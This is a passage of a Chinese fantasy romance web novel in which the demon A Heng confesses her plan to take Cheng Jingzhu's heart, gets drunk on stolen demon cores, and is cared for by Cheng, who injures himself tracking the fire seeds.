阿姮顿觉自己这副银汉之水造的壳子像被烈焰煮沸,诚如程净竹所说,酷热难耐,她忍不住用衣袖扇了扇,又瞪积玉:“你别过来!” 积玉脚下一顿。 阿姮起身,转头看了一眼紧闭的槅门,气冲冲地跑了。 积玉看着阿姮的背影很快消失,整个院子霎时安静下来,冷风吹得草木沙沙作响,积玉满脸莫名,走到槅门边,敲了敲:“小师叔,我进来看看您?” “不必。” 门内,程净竹的声音似乎平稳。 闻言,积玉摸在槅门上的手收了回去,他抿了一下唇:“小师叔,我看阿姮姑娘她只是个性天真,所以行事十分的不拘,她……其实只是不明白很多事,并不是有意惹您生气,您……不要与她一般见识。” 屋内昏暗极了,程净竹脱力般仰躺在床上,耳廓绯红未褪,淡淡的粉色几乎铺满他薄薄的眼皮,听见门外积玉的这番话,他倏尔睁开眼,视线落在槅门上,窗纱映出积玉的影子:“你知道的倒多。” 门外,积玉无端打了个寒颤。 “小师叔……” “别烦我。” 积玉一下不敢说话了,总觉得小师叔似乎很生气,好像是他方才那番话的缘故,可积玉想了想方才的字字句句,到底是哪里惹小师叔不快了? 他一头雾水,转过身,却见阳钧走了过来,他立即俯身:“师父。” 阳钧看了一眼他,随后望向紧闭的槅门:“师弟,怎么连我也不肯见吗?我可马上就要走了。” 槅门开了一缝。 阳钧微微一笑,推门进去。 但见床上少年端坐,眉心一点朱砂戒痕间有一道细细的血线,与他苍白的面庞形成鲜明的对比,阳钧脸上的笑容顷刻收敛:“师弟,事到如今,你难道还要与我说,那只是一个承诺吗?” “你动情了。” 阳钧说道。 程净竹放在膝上的指节一瞬收紧。 “你若肯听我的,”阳钧几步走近,神情凝重极了,“便别留她在身边,你若怕她被上界注意,便送她回赤戎去也好,至少上界一时还找不准赤戎的方位,待你找到重回原本的躯壳的办法,届时……” “师兄不相信她?” 程净竹打断他。 阳钧一顿,好一会儿才说道:“非是我不信,而是妖类生□□壑难填,九仪娘娘再造三界至今,天地之间从无妖类化身成神,它们天生是欲望的俘虏,结不来善缘,也约束不了自己的本性,他们连成人都难,你难道指望她明白你的心?” “我也不是人类。” 程净竹说道。 “那怎么能一样?” 阳钧说道:“师弟,你是白泽化身。” “没有什么不一样。” 一缕银灰的长发垂落肩头,程净竹垂着眼帘:“我和她一样,对人类,对这个世间有很多不解。” 程净竹慢慢舒展手掌,一颗火种在他掌心跳跃。 “这火种……” 阳钧敏锐地发觉,这似乎并不是那狐妖身上的那颗,因为上面并没有沾染狐妖的欲念。 既然不是狐妖,那就是…… 火种闪动晦暗的光影,映照程净竹的脸颊: “火种掌控不了她,结不结善缘,成不成人都没有关系,我信她。” “你信她?” “赤戎十年,她到底是什么模样,我再清楚不过。” 程净竹说道:“师兄,我将她带出来,就没想过再送她回去。” 阳钧也的确是没有想到,那阿姮竟然甘心将火种交出,他沉默了片刻,叹息道:“我必须得走了,其他两个殿师传信,东炎国屡生妖祸,我必须回到药王殿去主持大局,如今四方妖物果然为天衣人所驱使,天上地下都不安宁,我听说,有位惠山元君下界,正在岐山平息妖患,上界已经在插手了,只怕很快会有更多神仙下界来,师弟,你要做的事,我一向劝不住你,但我还是要提醒你,千万别再动情。” 阳钧一抬手,赤金香炉凭空乍现,他对程净竹道:“这是那狐妖的法宝,诚如师弟所说,我的确很难信任那位阿姮姑娘,但没有人比我知道,她对你的重要性,我相信你,所以你将这东西拿去,将来,若上界知道了她是从哪儿来的,这东西或可让她暂时藏身。” 阳钧推门出去,积玉正守在廊庑上,见他出来,便立即迎上前去:“师父,我们这便要走了?” 阳钧看向他:“谁说你要走?” 积玉一愣:“……啊?” “你在山上待了那么久还没待够?之前也不知道是谁抱怨他小师叔才十七岁我就许他下山,有的人二十来岁了还不能入世游历……”阳钧将拂尘搭在手臂上,说道。 “师父……” 积玉讪讪的。 阳钧拍了拍他的肩:“好了,你是我药王殿大弟子,早该入世修行了,就跟在你小师叔身边,好好照顾他,知道吗?” “是。” 积玉低头。 阳钧又叮嘱了积玉一番,便转身穿过廊庑,行至尽头,正见那白衣少女坐在栏杆上,浑身滴水,一副狼狈模样。 霖娘就站在她身边,一边用帕子擦她的头发,一边问道:“到底发生什么了?你不是去给程公子送茶叶了吗?怎么浑身湿透了?” “我真该把那包茶叶砸他头上。” 阿姮气呼呼地说。 “阿姮姑娘。” 阳钧忽然唤道。 那边霖娘与阿姮顿时循声望了过来,阳钧站在树荫下不动声色地将阿姮审视了一番,不由暗叹,妖类果然没心没肺。 “老头,做什么?” 阿姮语气不善。 阳钧一身仙风道骨,历来备受天下修士尊崇,没有哪个小辈敢在他面前如此无礼,但阳钧并不恼,他盯着阿姮的鬓发,此前的泥痕已经洗去,她发髻间万木春开花正艳,也许他参悟不够,所以在道中多年不得飞升,世间有种种例子都说明妖的欲念就是他们的本性,他们会沉沦于各种各样的欲望中,醉生梦死,而这个阿姮,却偏偏被万木春选中。 也许,万木春信她。 就像小师弟那样信她。 眼见阿姮那副神情逐渐不耐,阳钧忽然开口:“阿姮姑娘可有想过自己的来处?” “来处?” 阿姮有些莫名其妙:“你的好师弟难道没有告诉过你?我从赤戎来。” “赤戎哪一处?” “黑水河。” 阳钧轻轻摇头,凋残的落叶拂过他肩头,他看着阿姮:“那在黑水河之前呢?在那之前,你在哪儿?” ……之前? 阿姮眼底浮出茫然之色。 她只记得自己年深日久地待在黑水河里,随着河水的涨落,漂浮游荡很久很久,那是她全部的记忆。 “你什么意……” 阿姮抬眸,却见那片树荫之下,轻烟飞散,阳钧的身影已然不在了。 莫名其妙的老头! 阿姮烦透了,一下站起来,转头就往房间里钻,霖娘跟上去:“阿姮,你和程公子到底怎么了?是那茶叶他不喜欢吗?” “他喜不喜欢的关我什么事。” 阿姮坐到床上,运气调息。 “怎么就不关你的事了?”霖娘坐过去,“我让你给他送茶叶是让你们交心的,你得让他明白你的心,你才能得到他的心啊。” 阿姮抬起眼皮,看着坐在床沿的霖娘:“到现在,你还以为我跟在他身边,为的是让他明白我的心?霖娘,我没有心,我如此大费周章,只是因为我想要一样东西。” “……什么?”霖娘愣住了。 “他的心脏。” 阿姮与她相视,轻吐几字。 霖娘整个人都呆住了,她望着阿姮,看到她那双漆黑的眼睛里闪动的暗红光影,霖娘忽然想起黑水村中的种种。 她想起那时,阿姮还曾穿着她的皮囊,总在铜镜前看她胸口的血洞。 “我喜欢你们人类的五感,得到了就不想失去,所以,我必须要一颗心脏来填补我的壳子,”阿姮盯着她,继续说道,“他是修成了金身的人,有一颗好心,若我将他的心放到我的壳子里,那颗心就不会腐烂,没有人比他的心更好,所以我必须要得到,因为这个,我才会给他绣那什么破荷包,才会时时围着他打转……” 阿姮剥去所有的伪装,烦躁不堪地将自己所有的打算全部说了出来:“我无时无刻不在等一个好时机,等他破了金身,掏出他的心脏,然后把他丢掉……” “他的金身不是已经破了吗?” 霖娘忽然说道。 阿姮的声音戛然而止。 霖娘竟然那么的平静,她望着阿姮,说:“如今不就是你的好时机吗?那么你,为什么不取他的心呢?为什么要去阴司求来灵药为他治伤?” 再也没有比如今更好的时机。 就在不久之前,阿姮的手甚至触摸到了他的胸膛,那是被他允许的,她却想到自己的第一反应是挣脱。 为什么? 阿姮愣愣的。 “因为你不想。” 霖娘的声音落来耳边:“阿姮,没有心脏,他会死,你不想他死。” “那是因为我喜欢他的血,”阿姮想起方才在程净竹房间里的种种,她又是怒火中烧,“可他是个小气鬼,我想要一点点血他都不给,还生我的气,我都不知道他为什么生气!人类真的很奇怪!” 说着说着,阿姮却见霖娘捂嘴,竟然在笑。 阿姮觉得人类果然很奇怪:“你笑什么?我明明不是你以为的好妖,我从一开始就想掏他的心,你不是应该很生气吗?你不是应该……不跟我做朋友了吗?” 霖娘却笑着摇头,说:“阿姮,我觉得我已经足够了解你了,就像你也了解我一样,我嫉恶如仇,所以你会觉得我这个时候应该生气,但是,因为我了解你,所以我知道,不管你有没有一颗人类的心脏,你都有自己的本心,你说你想要他的心脏,这是你的欲念,但你没有,因为你的本心,在克制着你的欲。” “你说你只是喜欢程公子的心脏,可是天下修成金身的修士不止他一个,为什么你从一开始就只盯着他呢?” 霖娘摸着下巴:“我好歹也是有过一段情的,你这样啊,明明就是喜欢,喜欢他的心,也喜欢他的人。” “我是喜欢啊。” 阿姮说道。 “我说的不是那种你对一块糕饼,一件首饰,甚至一颗心脏的那种喜欢,”霖娘努力找准言辞纠正她,“而是,你看到这个人,仅仅只是和他说话,看他的眼睛,在他身边,你就会觉得很高兴,会有一种想要一直在他身边的情感,那种喜欢,是爱,对一个人的爱。” 阿姮拧起眉:“什么情啊爱的,烦死了,听不懂。” 如今身体里已经没有了火种,阿姮感觉到自己的力量减弱了许多,她立即问霖娘:“你自己是如何修炼的?” “积玉教的功法,你要学?” 霖娘说道:“恐怕不行,他说了,这功法妖邪是修不了的,你怎么突然问这个?” “我把火种掏了出来。” 阿姮臭着脸,说:“如今没了它,我体内有股空泛的感觉,必须要提升自己的力量来戒断它对我的影响。” 霖娘闻言,好一阵苦思冥想,忽然,她一拍大腿:“啊,我听积玉说,那些飞禽走兽甚至花鸟虫鱼化成的妖若有个百来年的修为,体内便会结丹,没命债的妖所结的丹是红色,有命债的妖所结的丹是黑色,积玉说,他们药王殿也会用恶妖的丹来炼药,也有一些修士会直接吞丹以助自己修炼。” “我听人说,那狐妖虽死,但那些供他驱策的妖还在附近盘踞,如今正有不少僧道在四处收妖,若我们……” 霖娘话还没说完,便见阿姮下了床朝门外去,她立即跟了上去:“哎阿姮!等等我!” 午后,天色变得阴沉起来。 不过片刻,天边雷声隐隐,檐雨若绳。 积玉抱着才买的药材跑回客栈,险些撞倒一同进门的人,他抬起头说了声抱歉,却见两人相扶,皆着道袍,手上,身上都是法器,却都鼻青脸肿,狼狈极了。 “二位这是怎么了?” 积玉扶了他们一把,好奇地问道。 “是位玄友啊,”那身量短胖的道士注意到积玉身上的清气,便一边捂着屁股往里走,一边说道,“我们师兄弟两个听说城外小庙坡上有妖物出没,便去除妖,那些妖精,个头能耐都不算大,身上却都背着命债哪,我们哥俩正摆弄法阵和好些个玄友一道收妖呢,哪知道这个时候!” 这短胖道士说话跟说书似的:“从天而降两个姑娘!” “什么姑娘!” 那身形瘦长的道士打断他:“分明是一妖一鬼!她们两个落下来直接就弄碎了我们的法阵哪……那些妖精,看见她们跟看见亲娘似的,眼泪汪汪地围上去当场就要拜为大王哪……” 短胖道士忙接过话去:“哪知道这俩姑娘一个拿一根烧焦的棍儿,一个拿一支菱花小镜,将那些妖精们打得妖丹全都飞出来了,当场全都化为原形,哪还有我们什么事儿啊,这还不算完,她们竟然打劫!我活了这么些年,没见过这么嫉妖如仇的鬼,更没见过这么嫉妖如仇的妖!” 短胖道士气得胡须都在抖:“我们身上的妖丹,全都被那个拿焦棍儿的女妖给抢走了!” “可恨哪!那女妖的焦棍儿厉害得很!我等五十来人,竟然拿她不住!她们还当我们面,把那些妖丹都吃了啊!” 积玉越听,越觉得熟悉,直到听见一个拿焦棍儿,一个拿小镜,他一把松开那短胖道士,道士没了支撑,一屁股坐倒在地,疼得直哎哟。 积玉跑到廊庑上:“小师叔!” 他一把推开槅门,冲到里面:“小师叔不好了!阿姮姑娘和霖娘她们两个跑出去降妖了!” 程净竹一手撑在床沿,坐起身,他脸上一点血色都没有,一双眼睛往门外瞥了一眼,他竟然不知何时下了雨。 积玉说道:“就我出去买药材的功夫,她们就跑出去降妖,还把五十来个僧道给打了,抢了他们收来的妖丹……” “妖丹?” 程净竹掀开被衾,咳嗽了两声:“是你告诉赵姑娘,妖丹可助修行?” “……是我说的。” 积玉低头。 程净竹披衣起身,见门边有伞,他便走过去拿起来,积玉见状,便立即上前说道:“小师叔,我去找他们,您伤还没好,还是不要……” “她不会听你的话。” 程净竹撑开纸伞,走出去。 积玉没办法,只得跟了出去,却是此时,一妇人的声音远远传来:“哎,两位姑娘,你们走错方向了!这边!” 积玉循声望去,只见廊庑尽头,有个粗布衣衫的妇人抓着两个女子艰难行来,那两名女子步履虚浮,走路歪歪扭扭的。 那妇人隔着廊庑望了过来,一见积玉与程净竹,便忙喊道:“两位仙长!我是这客栈做工的厨娘,你们快去看看大堂里吧,那两个道长一见这两位姑娘便喊着要捉妖,堂里的客人全被吓跑了,掌柜的将两个道长拉住,解释说这两位姑娘是与二位仙长一道的,岂能是妖呢?可那两位道长怎么也不肯听,这两个姑娘路都走不稳,掌柜的让我赶紧将她们送到后边来……” 积玉连忙跑上前,先抓住了霖娘的手臂,他忙对那妇人道:“多谢了,我很快就过去。” 妇人转身走了。 积玉焦头烂额,才要拉住阿姮,却见她摇摇晃晃地冲出廊庑,此时雨正浓,院子里潮湿又朦胧。 点滴的雨水落在阿姮的脸上,身上,但她的脸几乎红透了,那是一种很不正常的红,她勉强睁起眼睛,透过沙沙雨幕,她看到那石阶上少年撑伞下来。 顿时,雨珠打在他伞沿,噼里啪啦,脆声不断。 他银灰色的长发没有梳理,却像丝缎一样漂亮,那样一张冷漠的脸,双目澄莹剔透,他走得近了,阿姮迟钝地辨清他:“小神仙。” 他来到她面前,所以她头上再也没有冰凉的雨滴砸下来,她的脸颊红红的,仰头望了望自己上方素色的伞沿。 她摇摇晃晃根本站不稳,程净竹一把拉住她的手腕。 她一下不动了,用一双晶亮的眼睛望着他。 “小师叔,她们这是怎么了?” 积玉抓着霖娘的手臂,稳住她的身形,回过头来问道。 “妖丹虽有助修行,但若贪多,必然无法克化,犹如常人饮酒过多会醉酒,她们这是醉丹,”程净竹抬眸瞥一眼积玉,“你若将药王经翻来覆去背过,就不会只知其一,不知其二。” 积玉低下头,羞愧道:“我不该惫懒。” “抄写一百遍。” 程净竹说着,便要将阿姮拉着往檐下去,但阿姮却根本动也不动,程净竹的目光落在她脸上。 潮湿的雨雾弥漫,雨珠的脆声不断在伞上跳跃。 阿姮的眼睛一会儿漆黑,一会儿暗红,却始终没有看过他的胸口,而只盯着他的脸,她抿着唇不说话,也不动。 程净竹开口:“阿姮,在下雨。” “我知道啊。” 阿姮有点晕乎乎地应。 程净竹拉着她往檐下走,她就跟着他的步履,一步,一步,但在石阶下,她又停了下来,程净竹站在阶上,回头看她的同时,伞沿也偏向她:“上来。” 阿姮依旧不动,她仰头望着他,忽然说:“我已经没有火种了,再也无法感应到别的火种。” 耳边雨声纷杂,阿姮总觉得这声音很像人类的心脏飞快跳动的声音,她说: “你要一个人走了吗?” 第55章 第55章 “你还是这副样子,最可爱。…… 檐雨如绳, 顺着偏向阶下的伞沿滑落,点滴若脆,程净竹手握伞柄,眼睫半垂, 凝视着阶下的白衣少女, 她鬓边的浅发沾了水, 更显出其卷翘的弧度,她的脸颊烧红得像流霞,眼睛却染了这片烟雨的水气, 清莹莹的。 问出那句话, 不过片刻, 她却觉得耳边的雨声吵了很久, 她忽然一把丢开他的手:“你走吧!” “你自己去找那些火种好了,我再也不跟着你了, ”阿姮嘴巴一张, 很多话就自觉地蹦了出来,“没有我捣乱, 你心里是不是很高兴?一定是的, 没有我在, 你也不用担心积玉被呜呜……” 程净竹伸手捂住她的嘴, 阿姮的话音全都模糊了, 她瞪着程净竹,想也不想地张嘴咬他的指根。 程净竹没松手,看那边廊上霖娘一下栽倒, 积玉手忙脚乱地去扶她,程净竹对他说道:“身有命债的恶妖所结的妖丹之中多有阴寒浊气,赵姑娘修的是正道, 如今贸然吃下那么多的妖丹,又不知克化浊气之法,你速速扶她回房,先用药箓清心,再以固元功稳住她的丹田,待她神志清醒,你再教她用阴阳锥克化浊气。” “是,小师叔!” 积玉连忙抓着霖娘往房里去。 雨雾迷蒙,阿姮仍咬着程净竹指根不松口,他扔开伞,将阿姮拽上阶去,潮湿的雨气扑湿他的发丝与衣襟,槅门一开,阿姮被他拽了进去。 她摇摇晃晃的,路是一步都走不稳,咬程净竹的手还不算,还手脚并用地挂到他身上,手也拽着他的发尾,程净竹并拢双指,腕上的霞珠闪烁光泽,阿姮手指间的那颗珠子也跟着发光,紧接着她的手脚都被无形的力量收束,不得不松开他,被他扔到床上。 但她仍然不肯松开齿关,反倒咬得更紧,她甚至尝到了血气,于是舌尖飞快地探出,轻轻扫过。 刺痛袭来,程净竹指节微屈,垂眸睨她,冷声:“松口。” 轻微的血气足够唤起阿姮妖邪的本能,她的眼睛伪装尽褪,暗红的眸子一瞬不瞬地盯着他冷漠的脸。 无声地挑衅。 “顽劣不堪。” 他冰冷地吐出两字,阿姮试图理解,但脑子太迟钝,她没明白,却抓住他的手,随后,齿关一松,她阴寒的气息就在他的掌心:“你又在骂我,是不是?” 她垂下眼帘,视线落在他指根那处一片通红的牙印,其中有一点微小的破口,隐隐浸出点血色来,她恨恨地说:“我咬死你。” 她说着又张口,对准那牙印要再咬下去,却被程净竹勾起的指尖抵住齿关:“为什么忽然要去取妖丹?” “为了咬死你。” 阿姮瞪着他,说着就要狠狠一口下去,程净竹却仿佛有所预料,手指先一步移开,钳制住她的下巴:“好好说话。” 阿姮与他相峙,好一会儿,她笑:“取妖丹还能为什么?自然是为了获得更多的力量,不然怎么抵抗你给我下的咒?” “你越是不让我靠近积玉,我就越是要跟着他……” “跟着他?” 程净竹瞥她,语气淡淡。 阿姮明明觉得腹内灼烧至极,却又在他这般目光注视下,忍不住打了寒颤,又听他冷笑一声:“你可真是……死性不改。” “你又骂我?” 阿姮一把抓住他的衣襟,用力一拽,迫使程净竹俯下身来,他的发丝落来一缕,轻轻擦过她因为生气又红许多的脸颊:“小神仙,你这张嘴真的很坏,总是惹我生气,我有的时候真的很想……” 程净竹与她相峙:“想怎样?” 外面下雨,天是阴沉沉的,屋中便更加昏昧了,阿姮盯着他的嘴唇,说:“想把你弄哑,让你再也说不出不好听的话。” 多么恶毒的一句话。 也不知道到底是谁说话不好听。 “那么照你的意思,”程净竹脸上没有丝毫表情变化,“什么话才算好听?” 他的眼睛那么剔透漂亮,又那么的冷冽若雪,阿姮盯着他的眼睛看,抓着他衣襟的手也没松开,她腹中灼烧极了,烧得整张脸通红,耳心都热。 “你说,你不会一个人走。” 她说。 程净竹像是愣了一瞬,他凝视着阿姮的脸,说:“我不会一个人走。” 阿姮总是猜不透他心里在想什么,她一直觉得人类很难懂,而小神仙就更难懂了,她惊讶极了,他竟然真的这么说了,那么的配合,配合她说这句好听的话。 她甚至觉得方才他骂她死性不改的时候的那股子冷意也渐渐失踪,他与她相视,再不发一言。 “啊……” 阿姮反应过来:“还有积玉,他没有跟那个老头走,那就一定会跟你走了?你当然不是一个人,你到底明不明白,我的意思是……” 一张白符贴上阿姮的额头,阿姮的声音戛然而止,接着她便要伸手去将它摘掉,程净竹按住她的手:“积玉,从什么时候起,你嘴边总是积玉。” 阿姮冷笑,张嘴:“积玉积玉积玉……” 程净竹捏住她下巴,掐灭她聒噪的声音。 “我说过,你不许再打他心脏的主意。” “不打他的主意,也不能再打你的主意,那别人的呢?”阿姮想起霖娘的话,虽然金身难修,可这天底下却也不是只有小神仙一个修成金身的修士,“譬如,你那个师兄,又或者你们上清紫霄宫另外两个殿师?他们那些人,你都要管吗?” “我管不了他们任何人,” 程净竹的目光落在阿姮脸上,“你是我从赤戎带出来的,管束你,才是我要做的事。” 阿姮一下愣住了。 “管束……”她揉捻着这两个字,从白符底下抬眼看他,“你是说,就算我没有了火种,不能再感应其它的火种,你也要带着我一起走?” 阿姮忽然意识到,她曾经并没有火种,可他却还是将她带出了赤戎,她又想到,他明明从一开始就看穿了她对他心脏的觊觎,他却仍然将她带在身边,甚至承诺为她造出一个壳子,他知道她的图谋,所以在身上的伤彻底好全,在金身修复之后,他才在东海那个渔村里为她造出壳子。 他不爱说话,心里的打算却很多很多,多到她根本猜不透,防不住。 “你吞的妖丹太多,浊气在你体内乱窜,这药箓可以清心,”程净竹的声音落来她耳边,“你不要乱动,我先为你稳固丹田。” 阿姮攥着他衣襟的手松懈了。 她望着他立在床边施展功法的样子,淡金色的气流涌入她的壳子,她才知道腹中那块凝结了她所有力量本源的地方,原来叫做丹田。 “你为什么要这样?” 阿姮忽然说。 程净竹对上她的目光。 “你知道我是妖邪,也一直明白我对你的企图,可你还是要带我出来,甚至留我在身边,你不怕吗?我若掏了你的心,你就死了。” “你不是说,人的生死不过轮回复轮回,没有什么可怕?”程净竹却反问她。 是,阿姮曾的确这样想。 但她见过璇红的永远消失,她望着面前这个少年,他重伤未愈,如今金身不再,只要她想,她有很多种办法去取他的心。 外面的天还没有黑,但阿姮却嗅到一点点微末的药香,这幽冷的味道来自于这张床上的被衾,他应该是刚起身不久,所以被衾里还残留他的温度,属于人类的,温暖的温度。 他如果没了心脏,就不会再有这份温度。 这双漂亮的眼睛,也不会再看着她。 “你不是要除魔卫道吗?那是你的修行,你成为真正的神仙的法门,”阿姮望着他,说,“我这样的妖邪,你对我的管束,是驯服?小神仙,我却不是一个肯听话的妖邪,你要驯服我是不可能的,倒不如杀了我,反倒更利于你的修行。” “我从未想过什么驯服。” 程净竹神情冷静:“你心里想什么,你要做什么,都是你自己的造化,你不是知道吗?天道连一个人的命运都决定不了,我也并不认为我可以让你彻底听从我的规则,做我想让你成为的人,你的本相如何,是你自己说了算,但我有我的责任,除魔卫道是我的责任,所以我不能让你坏人修行,但除魔卫道却不是我的修行,更不是我成神成仙的法门。” “你……不想做神仙?” 阿姮惊讶极了。 程净竹眼睫轻抬,对上她的目光:“做神仙有什么好?” 不好吗? 不好的话,那为什么天下修行之人趋之若鹜,都盼望着有朝一日能够飞升上界?阿姮望着他那双眼睛。 她忽然发觉,这个小神仙明明生得跟个天生的神仙似的,可他的眼睛太冷,冷得不像一个人类,冷到被他注视着的万事万物仿佛在他眼中根本没有半点色彩,不值得流连,不值得多看一眼。 “你……” 阿姮动了动嘴唇,想说些什么,可是思绪变得迟缓,她又全都忘记了,丹田中焚烧的烈火令她神思越来越混沌,她望着小神仙,他的脸却有点不太清晰,阿姮拉住他施展功法的手,喊:“小神仙。” 帐子飞拂,程净竹的目光落在她手背。 她纤细的食指上,那颗粉霞流光的珠子紧贴她的指节,鲜红的丝线更衬她皮肤苍白。 珠子的确有点太大,根本不适合做指环。 “你真的会带着我吧?” 她问。 “嗯。” 阿姮醉意更重,她几乎睁不开眼,勉强翕动嘴唇:“一直到什么时候?” 程净竹垂眸看着她。 她的眼睛已经闭了起来,淡色的帐子一角落在她侧脸,她动也不动,已然醉得厉害,程净竹抬手将那帐子拨开,随后,他的指尖点在她指根的霞珠上,里面万顷粉霞流转,淡淡莹光中,它很快变成小小一粒,成为一枚合格的,漂亮的珠绳指环。 “我一定会找到办法出去,到时候,我也带着你出去。” 漆黑又潮湿的山石深处,一团小小的雾勾勒出一个女孩的模糊轮廓,她飞来飞去,明明在这么黑的地方什么都看不见,却像一只永远轻盈的雀鸟:“小草哥哥,你不是说外面很大很大吗?我们一起出去,一起去看外面的世界。” “小草哥哥,你不要怕,我是不会自己走的,我就是背,也会背着你一起走。” “你背不动的。” “为什么?你不就是一颗草吗?一颗草能有多重?” “很重很重。” “啊……那你是很胖很胖的草吗?那也没关系!” 外面的雨声隐隐约约,程净竹松开她的手,望着她指间的珠绳: “一直到,你看遍这个世界。” 阿姮满耳都是沙沙的雨声,朦胧中,她又觉得这雨声中似乎夹杂了他模糊的声音,但她没有听清,只得勉强睁大双眼:“你说什么?” “你本相虚无,清浊二气于你皆无害处,所以不必强行克化,你起来,我教你固元功,你自己调息,让妖丹之力化入你丹田的本源,为你所用。” 程净竹说道。 阿姮不是人类,醉丹也不会昏睡不醒,只要她存在,她的意识便会一直在,只是醉丹让她的意识迟钝了许多,程净竹教她固元功足足教了半个时辰,她才弄明白其中的要领,然后她又花了半个时辰才将所有妖丹克化干净。 然后她便被程净竹给请出了屋子。 至少这回不是用扔的。 天色暗下去,客栈里到处点上了灯,照得雨幕一片晶莹迷蒙,积玉在槅门边来回地走:“你们擅自跑去捉妖取妖丹也就罢了,怎么还干起了抢劫的勾当?还打人?你们可真是会找事啊……一口气打了五十多个人?你们知不知道那两个道士在前堂是如何闹的?我赔了人家不少药王殿的灵丹妙药,就是为了你们收拾烂摊子……我药王殿的名声都教你们两个给败坏了!” “我又不是你们药王殿的,怎么就坏你们名声了?” 阿姮一手撑着下巴,懒洋洋地说。 “你还说!” 积玉气不打一出来:“我们是一起的,你们行事不端,可不就带累了我和小师叔?霖娘你也是,你怎么可以跟着她一块儿胡闹呢!” “……我没抢劫。” 霖娘小声辩驳。 她吞的都是自己取的妖丹。 “那你打人了吗?” “是他们先打我们的,我解释过了,我说我是元真夫人的弟子,是被准许在人间修行的好鬼,阿姮也是好妖,但他们不信,还要对付我们,所以我们才动手的。” 积玉脸色一僵。 “……你怎么不早说。” 半晌,积玉从齿缝里挤出声音来:“早知道是咱们占理,我何至于送出去那么多灵丹妙药!” 阿姮本就嫌他聒噪,手里抓了一把炒黄豆,早想砸他了,却听他这么一句,阿姮有点意外地挑眉,把炒黄豆给放回碟子里了。 “对不起,我醉丹醉得厉害,给忘了。” 霖娘一脸菜色。 积玉露出疲惫的神情:“如今那些人都知道我们住在这客栈中,不知道还有多少人找来腆着脸要这要那的,小师叔说了,明日一早,我们便离开这里。” “明日?” 阿姮一顿,看向他。 霖娘忙问道:“这么快吗?可程公子他的伤……” “这是小师叔的意思。” 积玉当然也很担心小师叔的伤势,但他根本劝不动小师叔,何况顶着伤上门来打秋风的玄门人实在太多太烦,哪里还待得下去? 积玉转身出去了。 霖娘立即开始收拾行囊,生怕忘了什么东西,她将香粉都装好,转头见阿姮坐在桌前,盯着自己的手看。 霖娘走过去:“阿姮,你想什么呢?” 阿姮触摸指间的珠绳:“我在想,小神仙怎么知道明日一早,我们到底该走哪一条道。” 她没有了火种,便不能再为他引路。 明日要走的话,他们又该走去哪儿,才能找到下一枚火种? 暮雨更浓,声息不止。 槅门上映出摇晃的树影,室内只有一点孤灯,程净竹端坐床上,常挂在他胸前的那串水青宝珠此时被放在枕畔,他周身淡淡金芒飞浮,凝出一块通体乌红的方木,他蓦地睁开眼,那方木两端各自显出乾坤、坎离四卦,顶面则有“万神咸听”四字若刀削斧凿,闪烁耀目金痕。 两枚火种被不断闪烁的金色符文禁锢其中,不甘地环绕在方木周围,散出浊黑的气流。 阴暗的影与明亮的光在程净竹苍白的侧脸交织,他双手结印,百张白符同时燃烧化为火烬,织就一张金网,网住那两枚火种。 “天地有象,秽炁无形,役使其精,收束其首,覆映吾身。” 程净竹口中念道,金网轮转,两枚火种在其中跳跃不止,迸发出许多种杂声,有人类的,鸟兽的,它们尖锐地鸣叫着,被金网挤压,抽出两缕黑色的气流,被金光裹挟着涌入他的眉心。 黑气入体的刹那,剧烈的疼痛很快蔓延至四肢百骸,他胸腔里的心脏快速跳动,神魂之气不断漫出躯壳,又被道道金光反复收束。 程净竹身上显出道道金色的裂痕,眉心的戒痕红得几乎要滴血,他维持着结印的手势纹丝不动,紧闭起双眼,一身衣袍被凌厉的气流拂乱。 冥冥之中,他隐约看见一道模糊的身影。 那似乎是个衣衫褴褛的乞丐,佝偻着身子,一头花白的头发蓬乱极了,连五官都被遮掩大半,他掏了掏耳朵,像是不敢相信自己听到了什么,对面前的人说道:“我看你是疯了不成?那岐山上妖精多着呢,如今惠山元君还在山上降妖,你跑那儿去,是嫌命长,想被妖精一口给吞了?” 程净竹看不清老乞丐面前的人,因为火种便在此人身上,火种看到的,便是此人所看到的。 身上的裂痕加剧,程净竹猛然睁眼,倾身吐出一口血来,连带着枕边的水青宝珠也摔落在地。 此时积玉正端了一碗药来,走到门外听见响动,他立即推门跑了进去,见程净竹一手撑在床上,耳廓里有血淌出来,他大惊失色:“小师叔!” 积玉的声音落到程净竹耳里,全都化为了尖锐的噪声,他头疼欲裂,并起双指,散去阵法,金网瞬间破碎,两枚火种环绕方木,他眉心之间淡淡的黑气消散。 积玉知道方木乃是镇坛木,小师叔一直以此物禁锢火种,他看了一眼那金网消散的火光,立即明白过来,他忙将地上的宝珠捡起来,戴到程净竹身上,宝珠顿时散发清莹的光泽,使得程净竹身上金色的裂纹逐渐隐没。 “小师叔,师父说过,您的神魂与躯壳不合适,这宝珠是象天法师赠给您,用以维护躯壳,压制神魂的,无论何时您都不能轻易取下!” 积玉急得满头大汗:“您将它摘下来,还动用金光引炁阵,您知不知道稍有不慎,您的躯壳会撕裂的!” 程净竹唇边还沾着血,他的脸色更加惨白,眉心的戒痕灼烧至极,耳心仍然剧痛不止,他勉强辨清积玉的声音,哑声道:“只有如此,我才能找到火种的踪迹。” “火种?”积玉不敢相信,“金光引炁阵,明明是针对邪祟阴鬼的,借来他们的炁,找到他们的本源,炁是修炼的生灵才会有的东西,这阵法如何能用来找火种?” “我可以。” 程净竹拭去唇边的血。 积玉抿紧嘴唇,他记得师父说过,那些火种是以欲念为食的东西,它们可以融合任何人类,妖类的本性,获得他们所有的欲,而这种东西,是上界的神仙都难以定其行踪的存在,只有小师叔可以感应到它们。 可是,为什么是小师叔呢? “阿姮姑娘不是也可以吗?您为什么要用这种自损的办法?我看那火种在她身上待得好好的,她不是可以感应得到……” 积玉说着,目光忽然凝在那镇坛木上。 环绕镇坛木的,竟是两枚火种。 ……阿姮姑娘体内的火种,竟然取出来了? “小师叔,何妨让火种待在她身体里呢?反正,反正那火种又不能将她怎么样,您用此阵伤及神魂,是会折损寿元的!” “火种在她体内多一日,便会多影响她一日,纵她一身反骨,不肯为其驱策,但若有个心志不稳的时候,火种趁虚而入,难保不会使她本心不明,意志尽毁。” 程净竹勉强坐直身体,耳廓里鲜血流淌而下,顺着他的颈侧,浸湿他雪白的衣领。 “您怕她意志损毁,将来做下令她自己后悔的事,” 积玉望着他,“只是为防万一,您便宁愿折损自己的寿元?为什么?小师叔,您可有想过,若您有个好歹,将来药王殿又该如何?” “那是你该关心的事。” 程净竹对上他的目光,泛白的唇轻启:“不是我。” 积玉愣住了。 夜雨渐渐停了,天色转亮。 